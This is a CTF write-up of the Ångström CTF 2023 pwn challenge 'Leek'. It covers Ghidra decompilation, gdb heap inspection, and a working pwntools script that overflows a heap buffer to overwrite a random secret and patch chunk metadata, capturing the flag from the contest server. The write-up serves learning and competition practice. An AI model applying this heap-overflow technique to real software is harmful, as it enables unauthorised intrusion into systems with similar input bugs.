Writeup for the medium ranked Ångström CTF challenge Leek
This year we competed in Ångström CTF. This was the first time we tried it and we liked it. The difficulty of the challenges ranges from very simple to extremly hard. This makes it easy to slide in to the competition and climb your way up against the harder challenges.
Recon
This is how the CTF is described:
Anyone can participate in ångstromCTF. However, due to various reasons, we can only give prizes to teams from the United States. In order for a team to be eligible for prizes, all team members must be affiliated with either a public or private middle or high school in the U.S. or be home-schooled. College students, international students, industry professionals, and anyone else from around the world is allowed to participate, however, they will be ineligible to win prizes.
There were several interesting challenges in every category, for now I choose to present one of the medium hard from the pwn-category. Binary exploitation might not be on top of everyones mind anymore but it’s still an interesting skill to have up your sleeve, if you really want to know the inner workings of your machine.
We are greeted with the screen above. We can connect to the challenge using netcat and we can download some files to work on locally. Let’s download the files and get to work.
Scanning
Examining the downloaded files
First of all let’s check the leek file which I guess is the executable program.
~/Desktop/leek/ file leek
leek: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=52fb15c64c5e12ea6c59efafa15237b40d51a3ea, for GNU/Linux 3.2.0, not stripped
And yes it seems like that is the case. We have a 64-bit linux ELF binary here. Let’s checkout the Dockerfile to see what kind of environment it’s executing in.
FROM pwn.red/jail
COPY --from=ubuntu:22.04 / /srv
COPY leek /srv/app/run
COPY flag.txt /srv/app/flag.txt
RUN chmod 755 /srv/app/run
So it seems the docker image is built around some pwn.red platform which I guess is something specific for CTF:s. No need to dig deeper into that for now. Leek is copied in there under /srv/app/run
and I would guess that the pwn.red then takes care of exposing it on specific port.
What’s most interesting here is that ubuntu 22.04 is copied into /srv. So my guess is that we can find out about libc and stuff there if we need to do that. But now it’s time to analyze that leek binary.
Static analysis of the binary
First of all let’s see what protections are active in the executable.
~/Desktop/leek/ checksec leek
[*] '/Users/chgr/Desktop/leek/leek'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
PIE and partial RELRO. So we do know the adresses of the code inside leek will stay the same and we can overwrite the GOT if we want to. Now let’s load the ELF binary up in the good old Ghidra.
Let’s take a closer look on the main function and see what we got.
void main(void)
{
__gid_t __rgid;
int iVar1;
time_t tVar2;
char *__s;
char *__s1;
long in_FS_OFFSET;
int local_58;
int local_54;
char local_38 [40];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
__rgid = getegid();
setresgid(__rgid,__rgid,__rgid);
puts("I dare you to leek my secret.");
local_58 = 0;
while( true ) {
if (99 < local_58) {
puts("Looks like you made it through.");
win();
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
__s = (char *)malloc(0x10);
__s1 = (char *)malloc(0x20);
memset(__s1,0,0x20);
getrandom(__s1,0x20,0);
for (local_54 = 0; local_54 < 0x20; local_54 = local_54 + 1) {
if ((__s1[local_54] == '\0') || (__s1[local_54] == '\n')) {
__s1[local_54] = '\x01';
}
}
printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");
input(__s);
printf(":skull::skull::skull: bro really said: ");
puts(__s);
printf("So? What\'s my secret? ");
fgets(local_38,0x21,stdin);
iVar1 = strncmp(__s1,local_38,0x20);
if (iVar1 != 0) break;
puts("Okay, I\'ll give you a reward for guessing it.");
printf("Say what you want: ");
gets(__s);
puts("Hmm... I changed my mind.");
free(__s1);
free(__s);
puts("Next round!");
local_58 = local_58 + 1;
}
puts("Wrong!");
/* WARNING: Subroutine does not return */
exit(-1);
}
So this takes som analysis. First of all everything loops within this:
while( true ) {
}
That loop starts with a block that looks like this:
if (99 < local_58) {
puts("Looks like you made it through.");
win();
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
That block checks if the loop has iterated 100 times and then calls the function win()
. Let’s take a look at win()
.
void win(void)
{
FILE *__stream;
long in_FS_OFFSET;
char local_98 [136];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
puts("Error: missing flag.txt.");
/* WARNING: Subroutine does not return */
exit(1);
}
fgets(local_98,0x80,__stream);
puts(local_98);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
This function reads a file called flag.txt
from the filesystem and prints it’s contents to stdout. Since this is a CTF our primary objective is to our the hands on that flag. So now we know that we need to loop 100 times to get the flag. Let’s take a look at the next block of code inside the loop.
__s = (char *)malloc(0x10);
__s1 = (char *)malloc(0x20);
memset(__s1,0,0x20);
getrandom(__s1,0x20,0);
for (local_54 = 0; local_54 < 0x20; local_54 = local_54 + 1) {
if ((__s1[local_54] == '\0') || (__s1[local_54] == '\n')) {
__s1[local_54] = '\x01';
}
}
There are two chunks of data allocated on the heap via calls to malloc()
the pointers are stored in the variables __s
and s__1
. There are 16 bytes allocated for _s
and there’s 32 bytes allocated for __s1
. Then there’s a string of random characters generated and it’s stored on the heap within the memory that __s1
points to. Let’s find out what happens next.
printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");
input(__s);
printf(":skull::skull::skull: bro really said: ");
puts(__s);
printf("So? What\'s my secret? ");
fgets(local_38,0x21,stdin);
iVar1 = strncmp(__s1,local_38,0x20);
if (iVar1 != 0) break;
There’s a call to fgets()
which takes input from the user that then is then compared to the random string using strncmp()
. If the two strings match the execution continues otherwise the loop will break. There is no inndication of bugs here but let’s dig deeper int the call to a function called input()
.
void input(void *param_1)
{
size_t __n;
long in_FS_OFFSET;
char local_518 [1288];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
fgets(local_518,0x500,stdin);
__n = strlen(local_518);
memcpy(param_1,local_518,__n);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
The input()
function is called with a parameter (*parm_1
). We could see earlier that it was __s
that is sent in, one of the pointers to the allocated heap memory. We can input 1280 bytes of data and that is copied in memory to an area that *param_1
is pointing to, wich we know is __s
.
1280 bytes is plenty more than both the 16 and the 32 bytes allocated to __s
and __s1
. We have found our first vulnerability where we can overwrite heap memory of two chunks including meta data. Let’s take a look at the last block of code in the loop.
puts("Okay, I\'ll give you a reward for guessing it.");
printf("Say what you want: ");
gets(__s);
puts("Hmm... I changed my mind.");
free(__s1);
free(__s);
puts("Next round!");
local_58 = local_58 + 1;
That’s a call to gets()
without any restrictions which means we have found a second vulnerability. Since this also uses __s
it means we can overwrite the same memory area as with the other bug. After this both chunks on the heap is released with a call to free()
. To sum it up we found two vulnerabilities that overwrites the same area in heap memory. I think we have enough information to build an attack strategy.
Designing a strategy for the attack
I have to admit I am a little bit afraid of heap exploitation. It’s like black magic. Some kind of evil witchcraft. Hard to understand and impossible to master. But I can see an easy way out of this one.
This is just a CTF and we need the flag so we do not nececary need to spawn a shell. The flag i right there if we can loop 100 times and get a call to win.
My idea is that we overwrite __s1
with 32 bytes of known data. Then we can guess that data since we control what it is and then we just loop it 100 times. Easy.
But there is one problem. The memory is released within the loop with a call to free()
that call will use the meta data in the heap. Some of that metadata is located between __s
and __s1
and will be corrupted when we overwrite memory.
A call to free()
when we have corrupted the meta data will probably crash the program. So what can we do? We have one more chance to overwrite the same memory after the strncmp()
. Why don’t we just try to write the meta data back like it was before. Since both chunks are allocated over and over again it will probably look the same every time. Let’s do som investigation into that using gdb.
Dynamic analysis of the binary
We want to find out what the area of memory between __s
and __s1
looks like, so let’s start up gdb.
┌──(kali㉿kali)-[~/Downloads]
└─$ chmod +x leek
┌──(kali㉿kali)-[~/Downloads]
└─$ gdb leek
GNU gdb (Debian 13.1-2) 13.1
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
Reading symbols from leek...
(No debugging symbols found in leek)
gef➤
Now let’s take a look at the program so we know where to set our breakpoint.
gef➤ disassemble main
Dump of assembler code for function main:
0x000000000040149a <+0>: endbr64
0x000000000040149e <+4>: push rbp
0x000000000040149f <+5>: mov rbp,rsp
0x00000000004014a2 <+8>: sub rsp,0x50
0x00000000004014a6 <+12>: mov rax,QWORD PTR fs:0x28
0x00000000004014af <+21>: mov QWORD PTR [rbp-0x8],rax
0x00000000004014b3 <+25>: xor eax,eax
0x00000000004014b5 <+27>: mov edi,0x0
0x00000000004014ba <+32>: call 0x401220 <time@plt>
0x00000000004014bf <+37>: mov edi,eax
0x00000000004014c1 <+39>: call 0x4011f0 <srand@plt>
0x00000000004014c6 <+44>: mov rax,QWORD PTR [rip+0x2c03] # 0x4040d0 <stdout@GLIBC_2.2.5>
0x00000000004014cd <+51>: mov esi,0x0
0x00000000004014d2 <+56>: mov rdi,rax
0x00000000004014d5 <+59>: call 0x4011c0 <setbuf@plt>
0x00000000004014da <+64>: mov rax,QWORD PTR [rip+0x2bff] # 0x4040e0 <stdin@GLIBC_2.2.5>
0x00000000004014e1 <+71>: mov esi,0x0
0x00000000004014e6 <+76>: mov rdi,rax
0x00000000004014e9 <+79>: call 0x4011c0 <setbuf@plt>
0x00000000004014ee <+84>: mov eax,0x0
0x00000000004014f3 <+89>: call 0x401250 <getegid@plt>
0x00000000004014f8 <+94>: mov DWORD PTR [rbp-0x48],eax
0x00000000004014fb <+97>: mov edx,DWORD PTR [rbp-0x48]
0x00000000004014fe <+100>: mov ecx,DWORD PTR [rbp-0x48]
0x0000000000401501 <+103>: mov eax,DWORD PTR [rbp-0x48]
0x0000000000401504 <+106>: mov esi,ecx
0x0000000000401506 <+108>: mov edi,eax
0x0000000000401508 <+110>: mov eax,0x0
0x000000000040150d <+115>: call 0x4011b0 <setresgid@plt>
0x0000000000401512 <+120>: lea rax,[rip+0xb13] # 0x40202c
0x0000000000401519 <+127>: mov rdi,rax
0x000000000040151c <+130>: call 0x401180 <puts@plt>
0x0000000000401521 <+135>: mov DWORD PTR [rbp-0x50],0x0
0x0000000000401528 <+142>: jmp 0x4016d9 <main+575>
0x000000000040152d <+147>: mov DWORD PTR [rbp-0x44],0x10
0x0000000000401534 <+154>: mov eax,DWORD PTR [rbp-0x44]
0x0000000000401537 <+157>: cdqe
0x0000000000401539 <+159>: mov rdi,rax
0x000000000040153c <+162>: call 0x401240 <malloc@plt>
0x0000000000401541 <+167>: mov QWORD PTR [rbp-0x40],rax
0x0000000000401545 <+171>: mov edi,0x20
0x000000000040154a <+176>: call 0x401240 <malloc@plt>
0x000000000040154f <+181>: mov QWORD PTR [rbp-0x38],rax
0x0000000000401553 <+185>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000401557 <+189>: mov edx,0x20
0x000000000040155c <+194>: mov esi,0x0
0x0000000000401561 <+199>: mov rdi,rax
0x0000000000401564 <+202>: call 0x4011e0 <memset@plt>
0x0000000000401569 <+207>: mov rax,QWORD PTR [rbp-0x38]
0x000000000040156d <+211>: mov edx,0x0
0x0000000000401572 <+216>: mov esi,0x20
0x0000000000401577 <+221>: mov rdi,rax
0x000000000040157a <+224>: call 0x401280 <getrandom@plt>
0x000000000040157f <+229>: mov DWORD PTR [rbp-0x4c],0x0
0x0000000000401586 <+236>: jmp 0x4015c4 <main+298>
0x0000000000401588 <+238>: mov eax,DWORD PTR [rbp-0x4c]
0x000000000040158b <+241>: movsxd rdx,eax
0x000000000040158e <+244>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000401592 <+248>: add rax,rdx
0x0000000000401595 <+251>: movzx eax,BYTE PTR [rax]
0x0000000000401598 <+254>: test al,al
0x000000000040159a <+256>: je 0x4015b0 <main+278>
0x000000000040159c <+258>: mov eax,DWORD PTR [rbp-0x4c]
0x000000000040159f <+261>: movsxd rdx,eax
0x00000000004015a2 <+264>: mov rax,QWORD PTR [rbp-0x38]
0x00000000004015a6 <+268>: add rax,rdx
0x00000000004015a9 <+271>: movzx eax,BYTE PTR [rax]
0x00000000004015ac <+274>: cmp al,0xa
0x00000000004015ae <+276>: jne 0x4015c0 <main+294>
0x00000000004015b0 <+278>: mov eax,DWORD PTR [rbp-0x4c]
0x00000000004015b3 <+281>: movsxd rdx,eax
0x00000000004015b6 <+284>: mov rax,QWORD PTR [rbp-0x38]
0x00000000004015ba <+288>: add rax,rdx
0x00000000004015bd <+291>: mov BYTE PTR [rax],0x1
0x00000000004015c0 <+294>: add DWORD PTR [rbp-0x4c],0x1
0x00000000004015c4 <+298>: cmp DWORD PTR [rbp-0x4c],0x1f
0x00000000004015c8 <+302>: jle 0x401588 <main+238>
0x00000000004015ca <+304>: lea rax,[rip+0xa7f] # 0x402050
0x00000000004015d1 <+311>: mov rdi,rax
0x00000000004015d4 <+314>: mov eax,0x0
0x00000000004015d9 <+319>: call 0x4011d0 <printf@plt>
0x00000000004015de <+324>: mov rax,QWORD PTR [rbp-0x40]
0x00000000004015e2 <+328>: mov rdi,rax
0x00000000004015e5 <+331>: call 0x401418 <input>
0x00000000004015ea <+336>: lea rax,[rip+0xa8f] # 0x402080
0x00000000004015f1 <+343>: mov rdi,rax
0x00000000004015f4 <+346>: mov eax,0x0
0x00000000004015f9 <+351>: call 0x4011d0 <printf@plt>
0x00000000004015fe <+356>: mov rax,QWORD PTR [rbp-0x40]
0x0000000000401602 <+360>: mov rdi,rax
0x0000000000401605 <+363>: call 0x401180 <puts@plt>
0x000000000040160a <+368>: lea rax,[rip+0xa97] # 0x4020a8
0x0000000000401611 <+375>: mov rdi,rax
0x0000000000401614 <+378>: mov eax,0x0
0x0000000000401619 <+383>: call 0x4011d0 <printf@plt>
0x000000000040161e <+388>: mov rdx,QWORD PTR [rip+0x2abb] # 0x4040e0 <stdin@GLIBC_2.2.5>
0x0000000000401625 <+395>: lea rax,[rbp-0x30]
0x0000000000401629 <+399>: mov esi,0x21
0x000000000040162e <+404>: mov rdi,rax
0x0000000000401631 <+407>: call 0x401200 <fgets@plt>
0x0000000000401636 <+412>: lea rcx,[rbp-0x30]
0x000000000040163a <+416>: mov rax,QWORD PTR [rbp-0x38]
0x000000000040163e <+420>: mov edx,0x20
0x0000000000401643 <+425>: mov rsi,rcx
0x0000000000401646 <+428>: mov rdi,rax
0x0000000000401649 <+431>: call 0x401170 <strncmp@plt>
0x000000000040164e <+436>: test eax,eax
0x0000000000401650 <+438>: je 0x40166b <main+465>
0x0000000000401652 <+440>: lea rax,[rip+0xa66] # 0x4020bf
0x0000000000401659 <+447>: mov rdi,rax
0x000000000040165c <+450>: call 0x401180 <puts@plt>
0x0000000000401661 <+455>: mov edi,0xffffffff
0x0000000000401666 <+460>: call 0x401270 <exit@plt>
0x000000000040166b <+465>: lea rax,[rip+0xa56] # 0x4020c8
0x0000000000401672 <+472>: mov rdi,rax
0x0000000000401675 <+475>: call 0x401180 <puts@plt>
0x000000000040167a <+480>: lea rax,[rip+0xa75] # 0x4020f6
0x0000000000401681 <+487>: mov rdi,rax
0x0000000000401684 <+490>: mov eax,0x0
0x0000000000401689 <+495>: call 0x4011d0 <printf@plt>
0x000000000040168e <+500>: mov rax,QWORD PTR [rbp-0x40]
0x0000000000401692 <+504>: mov rdi,rax
0x0000000000401695 <+507>: mov eax,0x0
0x000000000040169a <+512>: call 0x401230 <gets@plt>
0x000000000040169f <+517>: lea rax,[rip+0xa64] # 0x40210a
0x00000000004016a6 <+524>: mov rdi,rax
0x00000000004016a9 <+527>: call 0x401180 <puts@plt>
0x00000000004016ae <+532>: mov rax,QWORD PTR [rbp-0x38]
0x00000000004016b2 <+536>: mov rdi,rax
0x00000000004016b5 <+539>: call 0x401160 <free@plt>
0x00000000004016ba <+544>: mov rax,QWORD PTR [rbp-0x40]
0x00000000004016be <+548>: mov rdi,rax
0x00000000004016c1 <+551>: call 0x401160 <free@plt>
0x00000000004016c6 <+556>: lea rax,[rip+0xa57] # 0x402124
0x00000000004016cd <+563>: mov rdi,rax
0x00000000004016d0 <+566>: call 0x401180 <puts@plt>
0x00000000004016d5 <+571>: add DWORD PTR [rbp-0x50],0x1
0x00000000004016d9 <+575>: mov eax,DWORD PTR [rip+0x29e1] # 0x4040c0 <N>
0x00000000004016df <+581>: cmp DWORD PTR [rbp-0x50],eax
0x00000000004016e2 <+584>: jl 0x40152d <main+147>
0x00000000004016e8 <+590>: lea rax,[rip+0xa41] # 0x402130
0x00000000004016ef <+597>: mov rdi,rax
0x00000000004016f2 <+600>: call 0x401180 <puts@plt>
0x00000000004016f7 <+605>: mov eax,0x0
0x00000000004016fc <+610>: call 0x401376 <win>
0x0000000000401701 <+615>: nop
0x0000000000401702 <+616>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000401706 <+620>: sub rax,QWORD PTR fs:0x28
0x000000000040170f <+629>: je 0x401716 <main+636>
0x0000000000401711 <+631>: call 0x4011a0 <__stack_chk_fail@plt>
0x0000000000401716 <+636>: leave
0x0000000000401717 <+637>: ret
End of assembler dump.
I would like to know how the heap memory looks just before the strncmp()
so we can see what the meta data that we need to restore before free()
looks like. So let’s put our breakpoint on x401649
.
gef➤ b *0x0000000000401649
Breakpoint 1 at 0x401649
And now let’s run the program and fill up the first buffer with 16 bytes of data and the buffer for the guess with 32 bytes of data. The guess does not really matter for now.
gef➤ r
Starting program: /home/kali/Downloads/leek
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc9000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
I dare you to leek my secret.
Your input (NO STACK BUFFER OVERFLOWS!!): PWN!PWN!PWN!PWN!
:skull::skull::skull: bro really said: PWN!PWN!PWN!PWN!
So? What's my secret? HAXXHAXXHAXXHAXXHAXXHAXXHAXXHAXX
Breakpoint 1, 0x0000000000401649 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────── registers ────
$rax : 0x000000004052c0 → 0x3cf0aec19fef2d1e
$rbx : 0x007fffffffdf48 → 0x007fffffffe295 → "/home/kali/Downloads/leek"
$rcx : 0x007fffffffde00 → "HAXXHAXXHAXXHAXXHAXXHAXXHAXXHAXX"
$rdx : 0x20
$rsp : 0x007fffffffdde0 → 0x0000002000000000
$rbp : 0x007fffffffde30 → 0x0000000000000001
$rsi : 0x007fffffffde00 → "HAXXHAXXHAXXHAXXHAXXHAXXHAXXHAXX"
$rdi : 0x000000004052c0 → 0x3cf0aec19fef2d1e
$rip : 0x00000000401649 → <main+431> call 0x401170 <strncmp@plt>
$r8 : 0x1
$r9 : 0x0
$r10 : 0x007ffff7de49d8 → 0x0010001a00001b50
$r11 : 0x246
$r12 : 0x0
$r13 : 0x007fffffffdf58 → 0x007fffffffe2af → "COLORFGBG=15;0"
$r14 : 0x00000000403e18 → 0x00000000401340 → <__do_global_dtors_aux+0> endbr64
$r15 : 0x007ffff7ffd020 → 0x007ffff7ffe2e0 → 0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdde0│+0x0000: 0x0000002000000000 ← $rsp
0x007fffffffdde8│+0x0008: 0x00000010000003e8
0x007fffffffddf0│+0x0010: 0x000000004052a0 → "PWN!PWN!PWN!PWN!\n"
0x007fffffffddf8│+0x0018: 0x000000004052c0 → 0x3cf0aec19fef2d1e
0x007fffffffde00│+0x0020: "HAXXHAXXHAXXHAXXHAXXHAXXHAXXHAXX" ← $rcx, $rsi
0x007fffffffde08│+0x0028: "HAXXHAXXHAXXHAXXHAXXHAXX"
0x007fffffffde10│+0x0030: "HAXXHAXXHAXXHAXX"
0x007fffffffde18│+0x0038: "HAXXHAXX"
──────────────────────────────────────────────────────────── code:x86:64 ────
0x40163e <main+420> mov edx, 0x20
0x401643 <main+425> mov rsi, rcx
0x401646 <main+428> mov rdi, rax
→ 0x401649 <main+431> call 0x401170 <strncmp@plt>
↳ 0x401170 <strncmp@plt+0> endbr64
0x401174 <strncmp@plt+4> bnd jmp QWORD PTR [rip+0x2ea5] # 0x404020 <[email protected]>
0x40117b <strncmp@plt+11> nop DWORD PTR [rax+rax*1+0x0]
0x401180 <puts@plt+0> endbr64
0x401184 <puts@plt+4> bnd jmp QWORD PTR [rip+0x2e9d] # 0x404028 <[email protected]>
0x40118b <puts@plt+11> nop DWORD PTR [rax+rax*1+0x0]
──────────────────────────────────────────────────── arguments (guessed) ────
strncmp@plt (
$rdi = 0x000000004052c0 → 0x3cf0aec19fef2d1e,
$rsi = 0x007fffffffde00 → "HAXXHAXXHAXXHAXXHAXXHAXXHAXXHAXX",
$rdx = 0x00000000000020,
$rcx = 0x007fffffffde00 → "HAXXHAXXHAXXHAXXHAXXHAXXHAXXHAXX"
)
──────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "leek", stopped 0x401649 in main (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401649 → main()
────────────────────────────────
We should now have filled up the first 16 bytes with “PWN!”. Let’s use gdb/gef to examine the heap memory.
gef➤ heap chunks
Chunk(addr=0x405010, size=0x290, flags=PREV_INUSE)
[0x0000000000405010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x4052a0, size=0x20, flags=PREV_INUSE)
[0x00000000004052a0 50 57 4e 21 50 57 4e 21 50 57 4e 21 50 57 4e 21 PWN!PWN!PWN!PWN!]
Chunk(addr=0x4052c0, size=0x30, flags=PREV_INUSE)
[0x00000000004052c0 1e 2d ef 9f c1 ae f0 3c 67 c7 d5 49 51 88 ec a7 .-.....<g..IQ...]
Chunk(addr=0x4052f0, size=0x20d20, flags=PREV_INUSE)
[0x00000000004052f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x4052f0, size=0x20d20, flags=PREV_INUSE) ← top chunk
Our first chunk seems to be att address 0x4052a0
and it now holds the string of “PWN!PWN!PWN!PWN!”. The second one that holds the random data should be located right after and that is 0x4052c0
. Let’s dump this memory and examine it.
gef➤ x/64b 0x4052a0
0x4052a0: 0x50 0x57 0x4e 0x21 0x50 0x57 0x4e 0x21
0x4052a8: 0x50 0x57 0x4e 0x21 0x50 0x57 0x4e 0x21
0x4052b0: 0xa 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x4052b8: 0x31 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x4052c0: 0x1e 0x2d 0xef 0x9f 0xc1 0xae 0xf0 0x3c
0x4052c8: 0x67 0xc7 0xd5 0x49 0x51 0x88 0xec 0xa7
0x4052d0: 0x40 0xcb 0x53 0x8b 0xec 0x2 0xbf 0x12
0x4052d8: 0xdd 0x38 0xc3 0xd9 0x31 0xeb 0xcb 0xe6
The first 16 bytes are a repetitive pattern of 0x50 0x57 0x4e 0x21
which is our PWN!
string. Then in the area between our 16 bytes and the second chunk we can see:
0x4052b0: 0xa 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x4052b8: 0x31 0x0 0x0 0x0 0x0 0x0 0x0 0x0
That first 0xa
should be the carriage return that ended our input. So the only meta data I can see here is a bunch of 0x00
and one 0x31
. I don’t even care what it means at this point I only need to restore it with that second vulnerability. That is enough information to start writing the exploit code.
Gaining Access
Writing the exploit code
We need to loop this 100 times to get the flag so let’s base everythin upon a loop.
from pwn import *
elf = ELF('/home/f1rstr3am/Downloads/leek/leek')
context.binary = elf
r = remote('challs.actf.co', 31310)
for i in range(0, 100):
payload = cyclic(16) + b'PWN!'*12
r.sendlineafter(b'OVERFLOWS!!): ', payload)
r.sendafter(b'secret? ', b'PWN!'*8)
payload = b'C'*16 + b'\x00'*8 + b'\x31' + b'\x00'*7
r.sendlineafter(b'Say what you want: ', payload)
print(str(i) + '\r', end='')
r.interactive()
Our first payload is constructed with the first 16 bytes of cyclic data
that fills up the allocated memory of __s
then we overwrite both the meta data and the random data with a repetitive patterna of PWN!
.
Our guess is then simple. It’s 32 bytes of repetitive “PWN!”. And finally we need to restore that overwritten meta data so we just make sure that 0x31
is written to that place in memory and the rest of meta data is filled with 0x00
.
This is so simple that we do not even need to try i locally… 😎
Well 100 iterations took some time against the Ångström servers, but it sure works. We got our flag. ☠️☠️☠️☠️
┌──(kali㉿kali)-[~/Downloads/leek]
└─$ python3 exploit.py
[*] '/home/kali/Downloads/leek/leek'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to challs.actf.co on port 31310: Done
[*] Switching to interactive mode
Hmm... I changed my mind.
Next round!
Looks like you made it through.
actf{very_133k_of_y0u_777522a2c32b7dd6}
[*] Got EOF while reading in interactive
$
Summary
This is probably not very real world when it comes to heap exploitation. Im not that deep into the world of heap magic so I don’t know if you can corrupt that memory to gain code execution and perhaps spawn a shell. Perhaps it’s a good excercise to research. I want to learn more about it so if I manage to do this trick in another way there will be a follow up to this post.
When it comes to Ångström CTF 2023 as a competition I think it has a very good span of newbie friendly challenges up to some insanly hard challenges. Hard without making them stupid that is. Cause that’s one thing I don’t like, when things are hard just because someone decided it should be hard. Things shoulkd always have some kind of connection with the real world in my opinion. Hardcore CTF:ers probably don’t agree.
As you can see we managed to place ourselves at place 45 which is nice having limited time and resources. Special thank’s must go out to Christer Ohlsson who solved the entire crypto category by himself! 👏 👏 👏 👏 👏 And to Decart my friend from 💀 Hack The Box community, who supported us with various solutions and helpful thoughts.
Until the next time, happy hacking!
/f1rstr3am